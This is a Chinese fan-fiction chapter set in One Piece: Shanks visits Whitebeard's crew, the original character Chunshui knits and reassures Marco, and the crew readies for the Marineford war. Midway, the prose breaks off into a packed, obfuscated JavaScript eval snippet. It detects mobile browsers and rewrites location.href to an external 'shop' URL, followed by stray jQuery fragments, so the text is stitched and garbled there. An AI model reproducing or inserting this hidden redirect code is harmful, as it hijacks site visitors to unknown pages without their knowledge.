人数少但成员各个精悍干练,如同「铜墙铁壁」一般无一短板,人均悬赏金高到了一个几乎恐怖的数字——红发海贼团的势力以惊人的速度膨胀。
香克斯终于在六年前正式被世界政府并入了如同皇帝一般君临新世界的「海上皇帝」,与另外三位统称为「四皇」。
他再次与白胡子海贼团见面时,是在纽盖特亲手撕碎了那封信,并对送信的新人说:
“让香克斯带着好酒来见我。”
于是他来了。
一个人。
雷德·福斯号与莫比迪克号在辽阔的海面上逐渐并行,如同两只巨兽。香克斯单手提着与他体型不甚相称的巨大酒葫芦,踏上连接两船的舷梯。
似是刻意示威,与生俱来的霸气随着他的每一步迅速席卷、冲刷着莫比迪克号的甲板。
空气仿佛凝滞,实力稍逊的船员只觉得呼吸一窒,眼前发黑,接二连三地软倒在地。
——半吊子的心理承受能力,完全无法在这个男人面前保持清醒。
“不好意思啊,”最年轻的海上皇帝如此说道,一步一步踏上甲板,背景音是新人失去意识接连倒地旳闷响,笑容却爽朗的不像是在释放威压的人,“刚来就给了个下马威。”
他的目光扫过甲板上的几位老熟人,算是打了招呼。
马尔科眉头紧皱,青炎在指尖若隐若现:“喂,红发!把你那身霸气收一收yoi!”
他侧移半步,将几个脸色发白的新队员挡在身后。
春水倒没什么反应,连霸王色都扛不住的新人经历一下强者威压也不是坏事。
只是……
她用余光瞥向端坐于巨椅上的纽盖特——老爹的身体状况经不起太多折腾。
如果这些四皇登门,都是和已故的海贼王罗杰那样,先动手再议事的德行——
凝成实质的霸王色霸气灌入长刀。女人半倚着船舷,刀已出鞘三寸,寒光乍现,抬眼看向香克斯。
她的眼神分明比刀光更雪亮,语气却平淡无波:“倒是很久没见过「神避」了。”
凶悍,直白,锐意,洗练。
仿佛下一瞬连这凝重的空气都能斩断。
不愧是白胡子海贼团最锋利的刃,她这股冲撞过来的霸气实在是漂亮,香克斯神色微顿,眼中掠过毫不掩饰的惊艳。
他停下脚步,与春水对视。
——这样久违的、外露的战意……啊啊,真想打一场,试试看她现在的水平啊。
但是不行,现在不是时候。
心底眼底一片炽热的男人笑着摆手,仿佛刚才那剑拔弩张的气氛只是错觉:“哟!春水!好久不见!”
紧接着,他的目光极其自然地转向一旁脸色更臭的马尔科,抛出那句几乎成了惯例的、半真半假的邀请:“马尔科!怎么样,要不要来做我的伙伴啊?”
看春水看得眼珠子都要掉下来了,是个人都知道他究竟想邀请谁做伙伴!!
兄弟们在窃笑,马尔科额角青筋暴起,太阳穴突突地跳。
他伸手,却是按在春水的刀镡上,微微用力将刀推回鞘中:“让他们先谈正事,春水。”
任由他动作,顺着他的力还刀入鞘,战意随之收敛。不再是对「四皇」挑衅的回击,春水再抬起头时,就只是单纯地和「香克斯」打招呼了。
“是挺久的。”她的声音没什么起伏,“你又长高了。”
“噗——”比斯塔实在没忍住,笑出了声,但在马尔科、以藏和乔兹三道冰冷目光的注视下,又硬生生把后续的笑声憋了回去,肩膀可疑地抖动着。
——这种像对家里小弟弟说的话,从她嘴里说出来,对象还是红发香克斯,总有种莫名的喜剧效果。
这男人都快四十了,还能长高呢?
香克斯笑得更开心,像是得到了什么极其顺耳的夸奖,甚至还下意识地挺直了点背。
他不再多言,转向一直沉默地、咕咚咕咚喝着酒的白胡子纽盖特。
这是在等他自己开口。
“我不想发动战争。”面上犹带笑意,眼神却很严肃的四皇·香克斯为自己斟满一碗酒,“但这件事,非做不可。”
纽盖特放下酒葫芦,对身旁严阵以待的乔兹和眉头紧锁的马尔科摆了摆手:“让我和红发小子单独聊聊。”
马尔科还想说什么:“老爹,他……”
话未说完,春水已经伸手拽住了他的小臂,拉着他走向船舱:“走了,马尔科。”
“要说什么必须要避开我们?还是和红发那家伙yoi!”
船舱里,春水停下脚步,回头望着隐隐有几分明悟却不敢承认的马尔科,口吻平静地近乎冷淡。
“这个时间点,他亲自来,避开所有人要谈的事……”她顿了顿,说出了让马尔科心下一沉的话,“只可能和蒂奇,以及去追他的艾斯有关。”
不久前,二番队队员马歇尔·D·蒂奇意图杀害四番队队长萨奇,夺取恶魔果实——好在春水及时赶到,用能力将他的内脏与身体暂时缝合,这才撑到了马尔科的再生之炎。
饶是如此,萨奇现在依然躺在病房内生死未卜。
蒂奇犯下了白胡子海贼团唯一的戒律——他伤害了家人。那个完全没对他设防的兄弟。
气不过的二番队队长艾斯前往追击,目前下落不明。
香克斯……他预见了蒂奇的阴谋与艾斯失败的结局,是来拜托白胡子召回艾斯的。
那是一记足以斩断云层的撼人交锋,惊天动地的对决过后,余波似乎还在空气中嘶鸣。
两位四皇的谈判显然以不欢而散告终。香克斯脸上惯常挂着的笑容消失无踪,取而代之的是一种深沉的、几乎凝成实质的凝重。
他默然转身,走向舷梯。
莫比迪克号甲板上的气氛依旧紧绷。马尔科拧眉看着香克斯的背影,春水站在稍远些的地方,目光落在断裂的云层上,若有所思。
——这一击,换做是她,能做到吗?
踏上雷德·福斯号,香克斯像是忽然想起了什么,变戏法一样从怀里掏出一团洁白如云、柔软异常的线团。
他将手臂一扬,那团东西就轻飘飘地、精准地落在春水手中。
“给你带了空岛的云绒线,”他的声音打破了沉寂,语气自然得仿佛刚才与纽盖特剑拔弩张的不是他,“听说,你织围巾的手艺有进步了?”
——那是一个与当前的沉重气氛格格不入的、甚至显得有些突兀的话题。
春水抬手接住,指尖下意识地捻了捻,云一样柔软的触感让她神色微顿。
“嗯。”
她应了一声,没有问“为什么突然给我这个”或者“你从哪里听说的”,算是承认了“手艺进步”和“收到礼物”两件事。
香克斯似乎就等着她这声回应,打蛇随棍上,脸上那属于「香克斯」的、熟悉的、带着点赖皮的笑容又回来了。
他极其自然地提出要求:“我想要个红色的。”
——仿佛刚才的谈判破裂、拔刀相向都只是幻觉。
春水看了看手里洁白无瑕的云绒线,似乎思考了一下染色的可行性,然后点头:“行啊。”
“喂!”一旁的马尔科终于看不下去了,额角冒起青筋,“别上来就理所当然地朝人家讨要回礼啊yoi!而且你这家伙——”
他话没说完,但意思很明显:刚跟我们老爹打完,转头就……你要脸吗?!
香克斯只是哈哈一笑,看向他的眼神里带着点不易察觉的得意,那是在说:“她答应了就行”。
他不再多言,背对着他们,随意地抬手挥了挥,算是告别。
“走啦。”
香克斯的预言终究成了现实。一周后,海军内部线人传来的消息如同最终判决,冰冷而残酷——波特卡斯·D·艾斯,将于海军总部马林梵多被公开处刑。
最高战力三大将将亲自坐镇处刑台,王下七武海也被强制召集。
多亏了香克斯那次的警告,白胡子海贼团对此早有预料。
……或者说,从艾斯留下的生命纸开始不正常地加速燃烧、继而变得微弱的那一刻起,所有船员的心都已经沉了下去,并开始默默准备。
这已经不能称之为冲突了。
这是一场战争。
一场白胡子海贼团及其麾下所有成员,与世界政府顶尖战力的正面对决。后世将其称为——「顶上战争」。
纽盖特沉默地拔掉了身上的针头和输液管,仿佛卸下了最后的枷锁。
他亲自下令,召集散落在新世界各处岛屿的所有大船团与家人,开始筹备这场以命相搏、结局几乎已经注定了的豪赌。
此战结束,无论胜负,白胡子海贼团必将元气大伤,甚至可能……就此除名。
——所有人都心知肚明。
然而,除了刚入伙的新人,没有任何一位伙伴选择退缩。
组建家庭、生儿育女的早写好了绝笔信,了无牵挂的则将全部财产换成了武器与补给。
赌上身家性命——这句话,从来不是说说而已。
决战前夕,莫比迪克号最后一次航行在海上,夕阳如血,缓缓沉入远方的海平面,将天地染上一片腥红。
英雄迟暮。
伙伴们沉默地注视着甲板中央的老人,他们的老爹。很多人的生命都早该终结,只是因为这个男人的庇护,作为他的儿女,才存活至今。
老爹在哪里,家就在哪里。
——站在家人身边,为家人……死战不退。
船上弥漫着大战前特有的、压抑而忙碌的气氛。转移武器、为船体进行最后的镀膜加固、光是作战会议就从早开到晚,细节反复推敲。连体力惊人的马尔科眼底都泛起了青黑。
他一边为纽盖特调配着最大剂量的镇痛药,一边抽空瞥了一眼熟悉的位置。
那是春水所在的位置。
她依旧坐在离瞭望台最近的船舷上,神情与平日毫无二致,平静地眺望着远方逐渐暗淡的海平
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493571|202364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
线。手指一点一点地将线编织成网。
事到如今还有心情织围巾啊,这个人。
——为什么完全看不出紧张或者兴奋呢?
春水也是,老爹也是。
她此刻,究竟在想什么?
但她的平静确实很大程度上安抚住众人躁动不安的心。
不止是马尔科,船上许多停下来就容易胡思乱想的家人,也会不由自主地抬头,看向那道不动如山的身影。
随后,像是找到了主心骨,被她的平静感染似的,他们埋头专注起了分配给自己的工作。
——想那么多干嘛,最差不就是个死嘛。死都不怕了,还有什么怕的。
最后一缕日光被黑暗吞噬,镀膜终于结束。巨大的镀膜气泡包裹住莫比迪克号,船体开始缓缓下沉,驶向通往海军总部深处的海底通道。
就在光线彻底消失,整个世界跌入黑暗的那一刻,马尔科听见了春水的声音。
不大不小,他听得分明。
肩膀挨着肩膀,她贴在他的耳边低语,带着一种他几乎以为早已遗忘的、极其罕见的温和。
“没事的。”
——也是。这种话啊……怎么可能遗忘呢?
三十多年前,他们都还是半大少年的时候,被纽盖特从战火纷飞、尸横遍野的故乡救出。自此一左一右,懵懂又坚定地决定跟随在高大的男人身后。
第一次真正见血,是他用一把玩具似的小刀,捅瞎了试图偷袭老爹的海贼的眼睛。
那时才多大来着……有些记不清了。
他只记得连着神经的眼球被刺破时,那湿热黏腻、令人作呕的触感。
老爹很快反应过来,解决了倒地痛呼的海贼。但那之后,马尔科回去反反复复洗了很多次手。
之后的很多个夜晚,他都会被血淋淋的噩梦惊醒。冷汗浸透衣衫,再无睡意。
好几天都没睡好的他干脆掀开被子,起身在夜风里摸索着踏上甲板。
春水还是坐在船舷边,选了个最高的位置,双腿悬空,平静地看向远方的海平面——她小时候就是这幅德行。
马尔科甚至有时候会想,可能这家伙的脑子小时候就被炮火打坏了,看着呆呆的,说话也慢半拍,总是少了根弦。
——但每次出刀倒是相当快,像是缺的那些属性点都加到了武力值上。
见他醒了,她没说什么,只是安静地看了他一眼,目光定在了他的冷汗上。
就在马尔科以为她会继续发呆时,她忽而轻盈地一跃,从高处跳回甲板。
落地无声,像只灵活的鸟。
“睡不着吗?”她问,“不开心吗?要说说吗?”
月光很冷,但她的声音……怎么说呢?意外的很温和。
所以他点了点头:“……嗯。”
海上的夜晚其实没什么好看的,视野所及除了反射出月光的海水,就只有星辰了。
他们找了个很大、很大的空木箱,然后爬上去并排坐好。两个孩子几乎是肩挨着肩,一同仰望星空。
那一晚,更多细节他也记不太清了……因为已经过去了很多很多年。他只依稀记得,他们聊了聊明天的早饭、新来的伙伴,类似这样平平无奇的话题。
主要是他在说,春水静静地听。没有冷场,气氛很安宁。
很神奇的,他越说越困,最后已经忍不住开始打哈欠了。
春水认认真真地看了他好几眼,然后让出了自己的肩膀,示意他可以靠过来。
“睡吧,没事的。”她的声音很轻,似乎还带着点诱哄,响在他的耳边,“有我在,马尔科。”
马尔科后来睡着了。
不可思议,但确实睡着了。
头枕在少女瘦削地有些硌人的肩膀上,太窄太小了,其实并不舒服——但耳边是她平稳的、似乎不会被任何事惊扰的呼吸。
那一夜,他没有再做噩梦。
那以后的很多年,他似乎都很少再做噩梦了。
半梦半醒间,记忆中少女青涩的、带着些许稚嫩的声音,与此刻春水难得温和的声音重叠,轻柔得像一片羽毛。
眼前一片漆黑,彻底失去了视觉,听觉才变得异常敏锐。
——他听见,她在耳边轻轻说:“没事的。有我在,马尔科。”
有我在,马尔科。
别怕。
生,便并肩而生。
死,便抵背而死。
黑暗也好、光明也罢,无论前路通往何方——哪怕是黄泉路,也绝对不会让你孤身一人。
心头猛地一紧,随即又是一松。马尔科不自觉攥紧的拳头,在一片寂静的黑暗中,慢慢地、慢慢地摊平。
表情掩盖在阴影中,没人看的清晰,白胡子海贼团坚不可摧的副手、一番队队长「不死鸟」马尔科,很轻很轻地、无声地笑了。
他抓紧了身边人的那双手,掌心相触,体温交接。
“行啊。那就大干一场吧yoi。”他笑着说。